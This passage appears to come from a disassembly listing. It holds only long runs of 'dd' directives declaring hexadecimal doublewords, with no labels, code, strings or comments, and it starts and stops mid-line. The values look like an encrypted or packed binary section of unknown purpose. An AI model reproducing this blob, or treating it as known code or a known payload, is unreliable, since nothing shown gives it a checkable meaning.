23943EF5h, 0A089B751h, 99D7136Eh, 84FBDA76h, 0BC7CF8AFh dd 0ED5E65E9h, 27C4EA58h, 0E52F0EBEh, 9559EAE4h, 0B62B0971h dd 3B7759h, 0BFEE8046h, 77F6CEFEh, 0E04AE6D6h, 0B1E918F3h dd 0FFC19534h, 17764960h, 95219E51h, 638892D8h, 730BA9BBh dd 7901F49Ah, 29FD69F6h, 3E2B5547h, 0AF6EA772h, 8C0F275Ch dd 8ADD764h, 0B7391536h, 27B0FE30h, 0A9EDEF8Ah, 0E1349EE5h dd 837B648h, 0BF017BB0h, 7CC9717Dh, 9FD355E8h, 0DF8008EEh dd 6DC8FD17h, 34AACC4h, 58DF7D45h, 83580BDAh, 0A545332h dd 46257DCEh, 1D3D82B2h, 30DD2992h, 96A7EF1h, 0FFE979C3h dd 5D4A5AD8h, 5C1F98ABh, 68C3300Bh, 2558D26Bh, 0CF3ABA1h dd 0A5D8298Fh, 0C3EDAA56h, 0E01FCA07h, 0DC0ADB4Ch, 16A7167Dh dd 11E1A451h, 38204241h, 0F18E446Ah, 0BEEBB504h, 6AC14928h dd 612F5BF7h, 24E4A46Ch, 2295D9AEh, 5D4619AAh, 307F96B2h dd 0A6850D0h, 3E09287Dh, 0AFA0089Ah, 0E3095B1Fh, 881F7102h dd 3500AC75h, 72593AC1h, 5E800D1h, 62293BBFh, 494BC368h dd 1905F5F3h, 0B360EA57h, 0D42D033Ah, 0AB6BC605h, 5E3BF0BDh dd 944D28E9h, 24B67A9Dh, 0BA66DEF6h, 51096D48h, 8768F530h dd 4A54B3E9h, 0A01CE18Ah dd 0E3671939h, 6120653h, 0E62D2150h, 2B67FE09h, 0F9110438h dd 1ACD61EBh, 5BE90C36h, 0BE3AC271h, 0BAFD4B8Bh, 0C41856F4h dd 4F23E8CEh, 658F1BCh, 2718A003h, 12482953h, 4AB649C0h dd 0E8F321BAh, 0E3899888h, 886F5176h, 4324EFB0h, 0E8240802h dd 722A624Ah, 800CF6F6h, 6C17548Eh, 2F2D0008h, 40DE0D74h dd 0E927537Fh, 0F3E042B5h, 0F3253EC2h, 0D6F7AC60h, 958746B7h dd 0D104C894h, 0B46E9EEh, 72E3D8FAh, 0AF2B2045h, 0D45D6306h dd 0F2584F12h, 787D195Dh, 4A215615h, 2500A57Ch, 2BB56192h dd 0C730850Fh, 0D9E175Ch, 66094817h, 0E0A310h, 0C1895A2Ch dd 9FABE35h, 0C3017CC0h, 3F81B177h, 0ED03E422h, 6D2D181Bh dd 38F010DAh, 0DF14332Dh, 542E0B31h, 0EE8925BAh, 8D5E71CAh dd 0B54F680Ah, 0DE0917F4h, 0B652414Bh, 0FEF520C5h, 0E9024D48h dd 9DBD1D32h, 38CA5DC6h, 50267AE9h, 1685399h, 1DAD1F4Bh dd 42990B1h, 0F456CCEFh, 0ECA79DBCh, 95CE7302h, 0E933B877h dd 22C9EDCh, 0E39D860Fh, 0BA1A1E8h, 55045A70h, 5B24C68Ah dd 4F73FBF8h, 8499C8D9h, 50C8DC6Bh, 0CB16997h, 84BF37F4h dd 0F7C7A92h, 803FBB5h, 0A20E055Bh, 0A074BF62h, 8A3E923h dd 45930C02h, 405F3E43h, 0B1326C58h, 64AC98h, 277B3A19h dd 0E2B0C629h, 0E50BC776h, 0A0DDF762h, 680D0481h, 82307BE9h dd 74560D7h, 1F60247Dh, 132B2D8Dh, 0CF74C0F7h, 46201810h dd 0C12C5269h, 14B06F4h, 0BF5F25A4h, 0D87175DCh, 0BB028478h dd 25210DDAh, 8CB97B5Ch, 0B650366Eh, 0F8C007C3h, 2001DDF0h dd 58BE565Bh, 2B522513h, 4E5131Bh, 0AA43F034h, 0B650AB66h dd 1E5D3008h, 4F2C73E4h, 5CAB523h, 0DD718008h, 5002636Fh dd 0C0E9FB29h, 0D5C9A2DBh, 267FD15Ah, 1355AF8Ch, 5E8EAB5Fh dd 96B6F2DBh, 0D3CB6253h, 4DB1E93Ah, 3E86900Bh, 80C4C3A9h dd 0FA4A82EBh, 0C7DF6A4Ah, 2924AF92h, 4A2BAC07h, 7C1029FAh dd 7E82F445h, 685D00F8h, 93C4210Ch, 0B410C02Fh, 4F4E100Ch dd 9C543816h, 5B7168E0h, 9929913Dh, 3E374318h, 3680EF35h dd 70536EA5h, 91025DBAh, 95E98FACh, 0C059A516h, 7C0BC1BBh dd 208765BDh, 556B08D8h, 0AE414811h, 51421261h, 0C5500A29h dd 16462608h, 55853064h, 441F1268h, 0AC8B4CF9h, 95146EFh dd 2CEC107Ch, 80AD4D0h, 98B565E9h, 0EF805A82h, 0C93602Ah dd 0E7C98322h, 0CE87E43Fh, 0C7137863h, 0F7D4CFD7h, 0C181D794h dd 0C9685B2h, 46F30155h, 201DA701h, 18D698BCh, 0C14329ABh dd 7AE22AABh, 2731048Bh, 4E292898h, 817E74ABh, 6D40BC17h dd 0C7933472h, 8C3E00EBh, 41053DBEh, 495F5A16h, 0F7CFC1FEh dd 7E6635B9h, 9A49341Eh, 7A91D43Ah, 4BB65955h, 2C4F667Dh dd 0AF433703h, 0F3C945Fh, 0EB1823EDh, 10C501A5h, 0CE5A08DAh dd 23DD10BFh, 0C849E909h, 4699917Ah, 0A10A6E0Ch, 0A9142652h dd 2DC80AEDh, 0AA12F07h, 6FD8D9E9h, 7A726C97h, 9B18DD15h dd 645AC868h, 9DB5C7E8h, 9BEE42D7h, 5F25BA5Eh, 0E9840AC7h dd 76A490B4h, 0E33D1896h, 44940C57h, 57544725h, 34087208h dd 3145F0Ch, 16375269h, 5C650C06h, 0B4013C7h, 3BE121CAh dd 0BE230B04h, 44317329h, 10FFCE2Bh, 64504B07h, 2320605Dh dd 25CAA5F5h, 5F55681Fh, 8A5E341Fh, 27C4CAFEh, 0A5D439BEh dd 0EB9CD7F2h, 8AE27CA3h, 27CBC6F5h, 91489710h, 480BB714h dd 0BCD01D4h, 9C78029Fh, 0EA3275BAh, 9CE33162h, 0C238AED5h dd 4B8D0C68h, 0E9A13595h, 0BAF65526h, 5DA6CB8Bh, 30091147h dd 0C8C5F7FAh, 5DE83183h, 885C4FE9h, 4613C2F6h, 0B704704Ch dd 2D0B5316h, 56720D7h, 4E5D5A0Fh, 4099AC5Bh, 8349E907h dd 0DA583C01h, 0CEFF9A17h, 692950ABh, 9D829F96h, 756A191Ah dd 3008D3A8h, 8440180Ch, 0E5246F7Dh, 0FD6960ACh, 0E64F7701h dd 0B01EF84Ah, 0A1DAC895h, 4DBB131Bh, 85CAE89h, 0AD06649h dd 7104BF2Dh, 0B1BA5532h, 8208055Eh, 92DF9C31h, 0B1C87F53h dd 68806DDBh, 0C64A5318h, 3034B500h, 0C68059EEh, 3BCEA65Ch dd 0B879791Eh, 50A9CE00h, 0B44AB753h, 1FFCE0D6h, 0B9C4FE5Bh dd 38060133h, 8BDECB0h, 0C6E9E60Dh, 0AC6F5E3Dh, 0C22E8836h dd 7C0B8305h, 30CCA0F9h, 0DB0C631Eh, 7A4AB514h, 0E6E562FEh dd 0AA8E5D09h, 0C03E566h, 78100294h, 0FD079448h, 0B3144935h dd 320E89DFh, 0FB2F580h, 2CF844E8h, 0ED1432EFh, 0E4D1F4CAh dd 0B8A7B42h, 23E6710Bh, 0C097C39Dh, 9871760Fh, 0A232F2C1h dd 0D2787D08h, 273116BFh, 0C446D332h, 480D4E07h, 1BC0355Dh dd 170F3EDAh, 0A4671C8Ch, 9D5F2FC5h, 542DF6E6h, 2AF97CA0h dd 0F89F055Ch, 16B0A7FAh, 878CFBDAh, 0FC6F4B49h, 0A3FEB4A0h dd 0D184101Dh, 0D0C7658h, 0FA32208Ah, 0C46029FAh, 304AB21Ah dd 5DFEF2CAh, 68020AEBh, 665D2941h, 1620007Dh, 0BF67B165h dd 27FDDF02h, 0C0CC8001h, 955B3DE0h, 5E634623h, 7AC31D1Eh dd 0C1DDB24Eh, 0CAFE33C2h, 274693EFh, 848D9010h, 0CE656128h dd 0E9A8A2E3h, 459FE0EEh, 47270832h, 81BC5813h, 3B775B1h dd 9B60EA68h, 2A9FC093h, 58100454h, 0D0A47EE9h, 0EF9884BAh dd 99689897h, 0FF94851Eh, 60B40FBEh, 0E9502189h, 288FDFB8h dd 1A25C86h, 680D3F6h, 0FC885B66h, 0D9A9E91Ah, 0EA535D5Eh dd 10B8532Dh, 26064EF3h, 27EBEED1h, 5B10815Fh, 2800CCBEh dd 0A8BF69AEh, 0A0BDFBF2h, 0B0132EF1h, 0F2E8BF43h, 0A724027Bh dd 8B387B19h, 0C0FB5D41h, 0A0F701E3h, 74212FFh, 0E95E037Dh dd 0AC642C2Dh, 66505303h, 0B1DDB551h, 1608852h, 88974B3Ch dd 0F990C83Dh, 10266E58h, 2C6F9EDBh, 4224ECAFh, 8FDDEFEDh dd 8105C5F5h, 0C808378Ah, 0F90B2D74h, 8158B1D5h, 0EB87E919h dd 2182E63Ah, 0D31A2811h, 834FB66h, 87BA24C3h, 61467D0Bh dd 5AB12649h, 0B13BA5A1h, 1DB4009Bh, 0B7C763Fh, 79FE5A90h dd 0B4A67EE1h, 3B6B6809h, 0BADFB21Ah, 20CE7FD6h, 46345F97h dd 9DBE875Dh, 55515300h, 125EAA68h, 0AAE90A31h, 895DFA80h dd 6BA49EF2h, 68DB6303h, 53AF1F4Fh, 0CD7701DCh, 2E678ED3h dd 4C059480h, 0A0724F6Dh, 1B38D691h, 0F302CF22h, 43410B19h dd 1C501208h, 7B8DFF8Ah, 0D074842Bh, 0B23AE975h, 0E22D9992h dd 5C7A9A3Bh, 0ECA5BE88h, 0E9165BE6h, 0A25ED6BDh, 0F80E501Ch dd 9C1A9F04h, 7DAB2B43h, 0E91844B6h, 0BD44D390h, 127B39E2h dd 0C5734F7Ah, 72F2BB69h, 78BD68C3h, 95E3EF84h, 0EA9F93DDh dd 9499921h, 0CFCDA33Eh, 0B6BE528Bh, 0DC13869Ch, 25439510h dd 0B450F380h, 0CCFE940Fh, 8E01D6F6h, 0C92EE91Bh, 7EB7D189h dd 0BD24ED66h, 7EA8909Fh, 2807A402h, 60E8D142h, 0E1A2458Fh dd 0F190AC7Bh, 0F00D10Bh, 0E84E1587h, 0EAF86ED5h, 0F8897560h dd 253EF281h, 0F10826Dh, 8B0ED182h, 31E25016h, 6CA332E3h dd 0A8AF0420h, 5100960Bh, 10CF5A85h, 0C0EA7281h, 46A92D0Dh dd 0E2BD34C5h, 0DF070905h, 0E93089C4h, 6852F5A2h, 286C0394h dd 0D7015A29h, 0EF810714h, 187C4C0Ch, 0B930BBC1h, 0F5113E0Fh dd 0D92FDEDCh, 681C38D7h, 0E9CAA8CDh, 25399471h, 0D0D0987Dh dd 89D2837Eh, 2D25B1C3h, 0EB4349F1h, 4EBB57FCh, 10BB17h dd 91DC4E08h, 1329AB2h, 9B16D1BFh, 0F1F9213Eh, 3BC97D11h dd 0D2E3A7D8h, 68C83B01h, 0C0960924h, 4B257F48h, 0C8B70BFh dd 0B963968h, 7E2D3C86h, 2776743Ah, 0ADF17920h, 5E4E24F6h dd 0E9B94EAEh, 0DC23A80Bh dd 84C4B8B1h, 0E540BF6Ch, 35753909h, 0ACE75AC1h, 44B001C5h dd 0DFF71C42h, 769E017Fh, 9F02AA0Eh, 0DCC95F0Ch, 0E986A12Fh dd 8A798CF6h, 0A416022Ch, 38BB07EFh, 0FEAEA4C6h, 7BC4612h dd 0A981F3B7h, 2F641E48h, 90516602h, 11873853h, 9771BA4Ah dd 19814BCEh, 6C15BC6h, 0FA436F46h, 0DD0B8BC3h, 315D9701h dd 0D9EDFAB7h, 0BE04F5E7h, 5A0F2510h, 5605572Fh, 0FBBF4B48h dd 0C2499977h, 2C07783Ch, 0E3E51AD1h, 3B17CFC0h, 98FF3C87h dd 0B440A914h, 0C18CA021h, 0F698A0E6h, 10041214h, 0B48BEECCh dd 409B6E10h, 202C9E8h, 5668201Ah, 67085669h, 3AE4D01Ch dd 0A25B77E9h, 62C1346h, 2CE17D27h, 0A7EAA435h, 39012EF4h dd 430BA147h, 809D1930h, 87127835h, 0F6084FECh, 3F82565h dd 0AC5DFB07h, 2BD4D689h, 4E33F6E8h, 3DE8DDC0h, 0F24E0148h dd 0C2D7AD49h, 83FBDFCCh, 5AE202BBh, 6032773Ah, 0C03EB71Bh dd 65F2C219h, 0F7041AABh, 24068D2h, 99C1CBB8h, 7A5F6921h dd 528649ADh, 70120F81h, 10BF6A1Bh, 5A25075Eh, 4A9C6655h dd 6814007Fh, 263E0B53h, 0D09E3FF4h, 39DF5425h, 623A3225h dd 749F4D58h, 9DC2720Ch, 45952F58h, 3754AF96h, 0FFB36E62h dd 8898AC10h, 17021BA1h, 0D7A8AAB4h, 0E2C05B09h, 0ED66E6F0h dd 0FF6A6F06h, 0E84A8863h, 0C94DC6ECh, 95B30938h, 0CD7D908h dd 950512D0h, 0E52FFC56h, 0E9C28383h, 0AA856A70h, 899FAEB2h dd 0C55EE7C8h, 72F77469h, 2F6AD756h, 0FE5AFA00h, 1CB8107h dd 7C314295h, 538A6BE9h, 5CA5E1Ch, 9077FFEh, 9891C57h dd 8D0CC98Dh, 26ABCE8h, 0DB681EBBh, 0D975315Ch, 6FD8A713h dd 145848BFh, 2C199D8h, 8BAB19EEh, 0A1572DC2h, 7727E941h dd 0E4C02289h, 0DC12D8F4h, 242942A1h, 8811E176h, 56F02BC6h dd 702F0B98h, 0C3744D30h, 4B81203Eh, 0EB739468h, 0D44AE6E3h dd 6CB8AF79h, 6446C1A4h, 8674B0AFh, 70EC8003h, 27E37D42h dd 13F4F31Fh, 501DDEBh, 7866EE43h, 967D1636h, 0D259E170h dd 204FB214h, 0A1A37B81h, 0D55A772Fh, 690386A9h, 0F51C9F71h dd 0C7C901EFh, 0CFD48798h, 66737709h, 0C819FF2Dh, 992A2E51h dd 0E2725C2Ch, 1C5F95F8h, 0AC45B7D0h, 0FD2CA282h, 909DE6Bh dd 0AD1030E9h, 45195FCAh, 0BBAC6EC2h, 20B15603h, 9F652FD5h dd 5FC0A4D4h, 38535ECh, 0E951475Fh, 0AE840991h, 0E9E056BCh dd 0F9B49A42h, 4F436861h, 0C438F22Bh, 12AF1DE9h, 6364EA27h dd 7158AFA3h, 9B0B8000h, 0E9D72912h, 3EFD1C55h, 4F00B513h dd 6B161331h, 96DE5001h, 0F555CB8Fh, 8039B5FEh, 1795178h dd 5A3EE9EAh, 5CD9D70h, 84F704CAh, 45AB17E8h, 21903DBBh dd 742E0808h, 0D4B4D02Ah, 0B5A5E970h, 3EBA7080h, 61B8A441h dd 0A89CD550h, 0F76B39BEh, 29F545CAh, 0C06555BAh, 7B104BA4h dd 7A25404Ch, 49ADDA59h, 352C58C7h, 0B7DFEC5Bh, 7E3F8C36h dd 0E27BE12Ah, 0A0C84B9h, 6A163880h, 0E96D0C8Ch, 4E2B8D03h dd 9B671B26h, 2293E709h, 75E6E379h, 8A54604Ch, 5C98ADCAh dd 0F64FCA0Bh, 0D9A7A035h, 9770C848h, 0E0DB1884h, 82EC54D8h dd 0B9400860h, 12A4197Fh, 0BACE0165h, 625E6C2Ch, 82910BB5h dd 651257E4h, 30FA0743h, 7CECE93Bh, 73C221C0h, 7716AF48h dd 8AEA4A5Eh, 6EE75185h, 962DB2Dh, 650A6C02h, 13DD9735h dd 0EC81B5F7h, 9C6B022Bh, 0F1408984h, 40014050h, 0D9BE0B5h dd 725A005Bh, 97AA3548h, 995FBE7h, 93D001E2h, 0D8D6BF16h dd 5E05134Ah, 68F880F7h, 1ABF02D2h, 8C5C8177h, 0DA205E6Ch dd 0AAE74BCCh, 0CFDB7020h, 2E1858EDh, 9A685EB2h, 88B674C0h dd 544F9282h, 0A08ADC44h, 0BF1CD608h, 0D70C2E5Ah, 53523AE8h dd 9C5F33FAh, 0FC30613Dh, 0DAAE4EB1h, 9E824BFDh, 0A746FD7Fh dd 0DEF856C4h, 0DBF53500h, 90AAE801h, 6EBAC441h, 9FAD49D1h dd 80DD2869h, 670E4BE5h, 5AB84D65h, 0EECEB60Bh, 0A5805509h dd 7716DA05h, 0BF1960FDh, 0FCAA6697h, 23411638h, 40C7A86Fh dd 905AE907h, 2DB2E6C5h, 32B76882h, 16081455h, 0BB4429E9h dd 203DE831h, 0E0E0D101h, 0E769F384h, 0BF0172E5h, 0E8205A44h dd 0EBBB043Bh, 0EB0713A6h, 137C5BD8h, 1DC62Ah, 9D716DC6h dd 0FA08316Ch, 9403BE9h, 35430668h, 4D320FD1h, 0E9043FB0h dd 3147819h, 0B9F82317h, 9EB95EFFh, 2E39EBB4h, 0C631A27Ah dd 4F11D497h, 0E71B2DE2h, 7811DC2Fh, 2A497387h, 7C116E99h dd 884F2552h, 0A3091E66h, 80748040h, 0C121B767h, 570CC162h dd 7A1A0756h, 2D43CFC3h, 0BA491652h, 0D3313A2Bh, 9E3901E8h dd 8D0A36Ah, 6618CC19h, 83BC2378h, 33F5FD82h, 0B028C77Bh dd 51CFB0FAh, 0FE7BB100h, 0F9F180C1h, 38C85C08h, 6C540B25h dd 48AEEE67h, 9BBA02F6h, 68602771h, 3D1875EAh, 7781A23h dd 1F13B2C2h, 3DA3310Fh, 68C3792Dh, 7DF382CCh, 35F74248h dd 5CF5063Fh, 0A0762FEDh, 0B58FB1AAh, 0DDF626A1h, 0DC8B0CF4h dd 644B5EEFh, 5759F222h, 0D0883903h, 0E9E821E8h, 522F692Dh dd 44ED05A5h, 0FB032639h, 60081250h, 9B5EF21Ch, 0C8109770h dd 0C35F8CE9h, 3E399C93h, 497DD00Dh, 0B11E340Dh, 0D9C2091Dh dd 1FBCA416h, 50B01665h, 0C380055Bh, 0FEB28A2h, 0DD1F12B3h dd 14F68DD2h, 6BBADDC4h, 73B87400h, 7618A4Ah, 0CB69AE2Dh dd 0A9F0F219h, 0ED51BEF4h, 2458C262h, 3364DE04h, 5240AE4Dh dd 38FC6ABCh, 84B44BE9h, 29A7EAA8h, 43466813h, 0E228E907h dd 0F8A35976h, 2C31D3C1h, 0A2ED026Bh, 5E3370C5h, 0AD124C1h dd 9CD76FF5h, 42D093C2h, 2D83870Eh, 23968009h, 983A1839h dd 56E31299h, 0CC55B141h, 330B1630h, 0C8C985E9h, 3D7EBDFDh dd 0B29528F1h, 0EA4FE1A7h, 2520912Ch, 81C01E08h, 0FB5F94E9h dd 19EFBA48h, 0DF2C0659h, 0CFB901ADh, 62A537E9h, 697006Bh dd 0CE81725Fh, 0BD7600BAh, 68535502h, 0F84C64C7h, 7F31177Ah dd 0CD884E6h, 0E34E2CE7h, 0D45115EBh, 30440712h, 97BD55FFh dd 0A6E61F3Ah, 7A702052h, 38CC0158h, 0D41B31BAh, 0EF2A2Bh dd 2520F2E5h, 74B75727h, 7C10206h, 0F08076C8h, 93D7A5AEh dd 0FE096A90h, 44492354h, 0E2C00360h, 0D5B35303h, 0FF4CDA82h dd 32E9E8E1h, 0A42A0148h, 0C36B8489h, 0B6989288h, 0E225E987h dd 0B96FF97h, 0C6DD99A1h, 4B5DA70Eh, 0FB67DF0Bh, 73484F0Ch dd 0C1E70BC7h, 65FF064h, 0B5400848h, 58833603h, 7E373116h dd 0BDF5BF89h, 82B91342h, 4061CDEFh, 5C4CB257h, 0C1020E41h dd 0B310A4Dh, 6AA25361h, 0F62AB830h, 8B0F1ADEh, 0F204892Eh dd 81C41E6Eh, 2390FE29h, 175EF3C1h, 45C012Dh, 0B8088BFAh dd 0A943A4D8h, 3F9EFFE9h, 0F3894B10h, 517419B0h, 0ADD0881Dh dd 6602FE5Bh, 0A014B38Ah, 9DC7C381h, 534E2FCCh, 575A52DCh dd 0AA61372Eh, 6016E0B8h, 55E7CB64h, 4F52EBABh, 0E2A5FA09h dd 6FB551A6h, 152E22Fh, 0B492826h, 0B7F22A47h, 61D3E14Bh dd 7CD62B97h, 0E56B2D0Eh, 210F1DD9h, 7B974D7h, 0F9503467h dd 29E085CBh, 8AE1FBB8h, 0D73F925Ah, 0ED41BEEh, 0F3ED80D0h dd 0CE830F09h, 3298F7A7h, 0CCBCD098h, 0FCBCC560h, 5AC47EFDh dd 0D86BE4E1h, 735C6813h, 0DD4250Dh, 2B78396Ah, 3DCA29FEh dd 0DF23123Bh, 0F021FCA5h, 0CB020D2Bh, 630FD610h, 11470468h dd 2475D4CFh, 6D03BAF2h, 511A17Bh, 0A45FC10Ch, 21C1040Ch dd 0EF831EEEh, 0A6814702h, 16CF3F06h, 0B0CA1D95h, 0C0890D4Ch dd 710346DDh, 0A3295B68h dd 4C10C431h, 0CEDBAB13h, 0F1D5ED5Eh, 728B8269h, 338EE30h dd 0F5728851h, 0A499E85Dh, 6B6F9A80h, 0D42D5CC2h, 0EE48B40Bh dd 99E64D07h, 0AB1E99F7h, 8AFBD954h, 0BCE9261Eh, 79AA8235h dd 3BF23E53h, 0AF4F7547h, 2DB5DD3Dh, 8800ABA8h, 72E68149h dd 795A257Fh, 2A8CFC7Ch, 4FC83D82h, 7ADAF505h, 2B0577B1h dd 0E897BD0Ah, 7C73BF82h, 95F8C0D7h, 0BC14D6CFh, 148A2737h dd 0E122B7B4h, 0CE5540EDh, 9879856h, 796A4CABh, 44361480h dd 0E91542CEh, 38B7B17h, 4D0677EFh, 7467D90Dh, 4BC61781h dd 7A298812h, 9081C50h, 0DD7EF1E9h, 8A261B65h, 0EBA1B718h dd 0C56518B0h, 5C5F0C28h, 0E33DA128h, 0C12AC90Ch, 0BCC3A2Dh dd 29E30F4Ah, 1AAC0CFEh, 2694FC4Bh, 843508CBh, 0C5E6E62Ah dd 0A92D737Bh, 888F5192h, 29057252h, 92BD5FF9h, 25F31010h dd 0B447D55Eh, 0F01FE909h, 5E28627Dh, 0B45472C3h, 28B2A053h dd 418EC8D8h, 2A07F27h, 7AD638A5h, 318CE8A0h, 297C0D13h dd 42016BFh, 0A22DBBB2h, 8EBE4A7Ah, 19832057h, 2F9BCFE9h dd 0A7EFDCFDh, 32AFB0B5h, 48528B5Dh, 5D53C9BFh, 0B901FFDAh dd 5DD7717Fh, 6321D9F7h, 0B7355F4h, 0A1CBE96Dh, 58F9B7Eh dd 0FF7F4B3Eh, 5397A205h, 0FD13A088h, 371F191Dh, 3C6B6040h dd 6690E912h, 4AE3857Ch, 0ABE4740h, 7E452AC3h, 3E3D07B0h dd 0E6C0DEADh, 4C0F79CDh, 2BB518C5h, 4AF0C1BAh, 0CD416E7Eh dd 57090D71h, 5540A8A5h, 759CA901h, 7947044Fh, 865C41BAh dd 204E426Bh, 25018CBCh, 2EB93A52h, 0B82069DDh, 446AE5A9h dd 575A1A06h, 0B0BD3B90h, 7C59074h, 313D4EB9h, 5DE92541h dd 0FA94A893h, 49712715h, 582F7276h, 6968144Eh, 83CAE554h dd 255880E8h, 5615509h, 41FAE912h, 688A30AAh, 83C6624Bh dd 1F34D76h, 54271FEEh, 3BC6017Eh, 93C944F2h, 0C504CBF2h dd 0D5E1098Fh, 4E4FC1EEh, 28AD2FDCh, 0DF04A694h, 0C53C7320h dd 8EB1051h, 171C5826h, 790D925Eh, 0DB5B9C4Ch, 81FBE2C5h dd 8918E779h, 0DF9B69ADh, 0EB7D5D4Eh, 0A426F32Ah, 3E071200h dd 11D82D45h, 2E356048h, 5A466C9Bh, 4E5C11Ch, 0C02EDCCh dd 0D5F72608h, 344F0101h, 2F2130AFh, 6141E2E0h, 92D52D6h dd 3A4FC5EDh, 55CBF540h, 7111C510h, 17535A93h, 8AC004D2h dd 1031EAC9h, 0E83FFCA8h, 0D06A9BCDh, 4FEE40h, 6EF2F781h dd 0BA52530Fh, 255E7B39h, 0A8F9D976h, 6D850A27h, 5D1340Ah dd 0A8A0A139h, 0B7FB208Eh, 12CE8D58h, 0BB00D0B9h, 520A1341h dd 0F9905C29h, 6A71FC95h, 49E984F4h, 0F30106A5h, 0C95E9598h dd 55A7779Dh, 5809409Ch, 0D3330B68h, 0ED0E9621h, 19DD2595h dd 0D04131B1h, 0E6734A2Bh, 0DF307558h, 735BC963h, 0AFAAC72h dd 84AB1F4Ch, 89F9889Eh, 0CE97013Ch, 291709DDh, 0C45ACFDAh dd 0C330F681h, 4E41F67Fh, 83A5CDB8h, 0B1A1CA0h, 0F97CA51Bh dd 515E04C2h, 59708254h, 57C32348h, 0BB6F0D03h, 697B2221h dd 0AF52947Ch, 0A32440E8h, 583FD00Fh, 892A2DF7h, 0D6EE57D9h dd 41BBA75Fh, 7A545010h, 490C8059h, 0E96E2419h, 0F179D01Ah dd 58E82F07h, 0D7E2B2ADh, 4A88A3F6h, 0FC002D21h, 0A070FDCFh dd 31E93F09h, 8296568Fh, 5C306853h, 0DA8BDA79h, 855D71E0h dd 531D9A68h, 4487EB85h, 9B2D05A2h, 58F5EAE9h, 0E65F4E64h dd 20547DE5h, 0AE4C6883h, 767B24A1h, 0BC83B42h, 0FD421A75h dd 797BFF81h, 1F803EC9h, 9707E957h, 0A25A268Bh, 0E6020F7h dd 0B8B6475Ah, 3BC18101h, 0D8206035h, 2E0085E9h, 0F901390Eh dd 0BE08B968h, 10C26F37h, 5655597Dh, 47CD1CFDh, 63024967h dd 7AA3D0E5h, 4B5C0D05h, 0D6066C14h, 90552CC5h, 3966D0B7h dd 808B8450h, 0D097DBF7h, 8CCF20F6h, 0C231DBBDh, 75F4A3DDh dd 69036B83h, 59EB2702h, 35225EFAh, 5AD4888Dh, 3FD49D6Fh dd 16FAADC4h, 0F604A49Ah, 0EB0111D3h, 0EFE32B0h, 0AF45C46Fh dd 9D3DB461h, 864E4E05h, 6D5D7969h, 0D5F60023h, 9B2CE886h dd 70C6302Dh, 3F9F5CCAh, 0E95A439Dh, 562507E3h, 0E42BF731h dd 6819C9DDh, 336F3BE5h, 312C8B7Fh, 808C904h, 52502F94h dd 42AE585Ah, 0D0314AB0h, 5049E7Ah, 2FA76330h, 44AF69C4h dd 0E4DC8867h, 8740C033h, 6F744C01h, 0E0645E2Fh, 793A0D41h dd 0D6A87BF9h, 0FA5946C1h, 0D80B3BFFh, 70DDFE51h, 2588864h dd 6D2041h, 5A2DF681h, 0F33198F4h, 6A61009Fh, 79030DACh dd 60589729h, 66E364B6h, 0A450FB68h, 8481F3EAh, 13AB75E9h dd 3A8EAA1Eh, 0E1C6E912h, 885FF0C2h, 678C799Fh, 1E3BA28h dd 7BE95BCAh, 0CE30BCF7h, 572FD2A2h, 0A4590C5Ch, 962C0775h dd 0AD8A0F05h, 0A0916C2h, 87E44A26h, 0ABAF589h, 5714121Dh dd 4F99CA8Dh, 26FB8B80h, 0EE7F4BBFh, 0B5E93561h, 88CBC86Bh dd 6C015A26h, 3AC3508h, 0D01CE5BAh, 0A427AAE5h, 15FF36D0h dd 55F02EE9h, 29E9CE51h, 0D5979864h, 483E7B9h, 62814281h dd 29C45B2Dh, 16C888EAh, 86BC3C4Ah, 33D842C9h, 0C9D9F995h dd 5913A377h, 0C66BAF6Ch, 0AFB23EECh, 1A7FE698h, 4E266859h dd 0B260B702h, 0FFEA8081h, 0E1D9F2CCh, 57E9EE8Bh, 0EB5F6B72h dd 277B97A9h, 71A09EBBh, 7D855575h, 0C4A20FBFh, 0EFACCB9Fh dd 8F12189Eh, 5A01F088h, 8B8B753h, 51D85BF8h, 0A7F42FE9h dd 2A42C46Ah, 0F0959E7Ah, 7DABA2BAh, 0B2F631Ch, 6BD5C6B1h dd 0AD7D79CBh, 1FA8AB5h, 267B6F68h, 62DD256Fh, 4B65574Eh dd 0BF9BF225h, 0C6FEE560h, 1E33F1B7h, 9FCA6853h, 0C4CFE851h dd 4124D2Dh, 578654D2h, 7EAC29EFh, 37D81A80h, 0E93A5FA0h dd 9ADE0583h, 0A0AABE8Eh, 5B9CF8FDh, 1840BA1Ch, 0E28127D4h dd 675A1222h, 785027Ch, 0FCA68E9h, 3BA2657Fh, 967FE5ADh dd 4D48FCFFh, 0ED3BF46Bh, 0B98AFC96h, 0EF607C49h, 4C63F651h dd 56072D7Fh, 22627200h, 0E913295Fh, 0EAEDA1CEh, 0C797B33Dh dd 5984AE49h, 87E90802h, 5AE8CCD2h, 0B3C001B5h, 7FDA88CDh dd 0C429521h, 9BF8380h, 4F07C006h, 8C4FDDF8h, 3A886720h dd 0BB9ED276h, 0B771C6CFh, 82E4C6Eh, 0CB93B5E7h, 0E6F8CCEFh dd 0B72FF741h, 253912B6h, 0F085B8B2h, 0E9E6BE5Eh, 0AB96C6D5h dd 6A928391h, 0BD555000h, 0EC60B217h, 880027F8h, 0E974535Eh dd 0E3A4EBB0h, 0AB4C2201h, 50E6685Fh, 17745F36h, 8B21A933h dd 77B5045Bh, 6EA11399h, 17633A20h, 0B9FE7CAAh, 9F851096h dd 6589D05Bh, 0D315F01Eh, 0D69AD001h, 801394A3h, 0DF75BA65h dd 0E2D00BFFh, 981D4E5Fh, 18A162D0h, 24FD4B5Ah, 74BC5FD6h dd 20BA892Ch, 4BD4BF18h, 0D22342F8h, 482DFB0Dh, 0D1A5D4BCh dd 0EA5BCFF4h, 3E2EF4BCh, 0E9E04DD8h, 20CED8AAh, 69C1C55Ch dd 50F3BF42h, 0D9C369F1h, 0B5897FF4h, 567946E4h, 0FD8215E8h dd 514FD1F9h, 116DEF5Bh, 4EB1912Fh, 0F1287B66h, 40AA4127h dd 850F03F0h, 6ABB892Fh, 33904065h, 528B033Eh, 63E9E688h dd 685DBD04h, 73CD5428h, 4E28F0E1h, 5CCDE64Ah, 196C0054h dd 0F581183Fh, 0A352EEEDh, 890FA8A6h, 9B9F6F29h, 834164C0h dd 2220E96Fh, 0C38A2E94h, 0EF019235h, 0E1C10830h, 12A59208h dd 1BB00Eh, 2B036E67h, 0CA090109h, 2EAB28E9h, 0FBCA3DB9h dd 0CE81BCA5h, 110E1BBAh, 7316F230h, 3458BD5Ch, 0F3C1F655h dd 0E5BC15A8h, 4FB7358h, 